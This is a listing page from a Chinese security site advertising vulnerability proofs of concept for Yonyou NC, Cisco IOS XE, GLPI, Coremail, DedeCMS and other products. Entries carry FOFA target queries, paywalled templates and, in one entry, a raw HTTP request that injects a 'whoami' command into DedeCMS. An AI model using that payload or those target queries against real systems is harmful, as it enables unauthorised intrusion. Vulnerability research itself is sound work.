秃兔安全_最新发布

用友NC 电采complainjudge接口SQL注入漏洞

秃兔9个月前

010115

【通用】Cisco IOS XE WLC 任意文件上传（CVE-2025-20188）

fofa语句官方yaml

POC # poc

dreamer2921个月前

05915

【2025特殊通用】东胜物流软件 WmsZXFeeGridSource sqli

fofa语句yakit插件 uuidpocyaml懒得验证了

付费阅读500 POC # poc

dreamer2921个月前

04315

Coremail邮件系统未授权访问获取管理员账密

POC 2024你懂的

秃兔9个月前

014215

dadd 20250814 更新

更新dadd最近2个月的poc和指纹，目前所有poc约增加1106个

付费阅读9999 POC # poc # dadd

dreamer29233天前

06415

【通用】易宝OA GetUDEFStreamID Sql注入

fofa语句yakit插件 uuidpocyakit yamlnuclei yamlid: yibao_OA-GetUDEFStreamID-sqli info: name: 易宝OA-GetUDEFStreamID-SQL注入 author: dreamer292 from 秃兔安全_tutusec.com severity: hi...

付费阅读500 Nuclei插件 POC Yakit插件 # poc # yakit # nuclei

dreamer2929个月前

09615

【通用】GLPI 未授权SQL注入漏洞（CVE-2025-24799）

fofa语句官方yaml

POC # poc

dreamer2924个月前

07715

DedeCMSV5.7.114后台sys_verizes.php存在远程代码执行漏洞

GET /dede/sys_verifies.php?action=getfiles&refiles[]=123${${print%20whoami}} HTTP/1.1Host: 127.0.0.11User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100...

POC 2024你懂的

秃兔9个月前

07015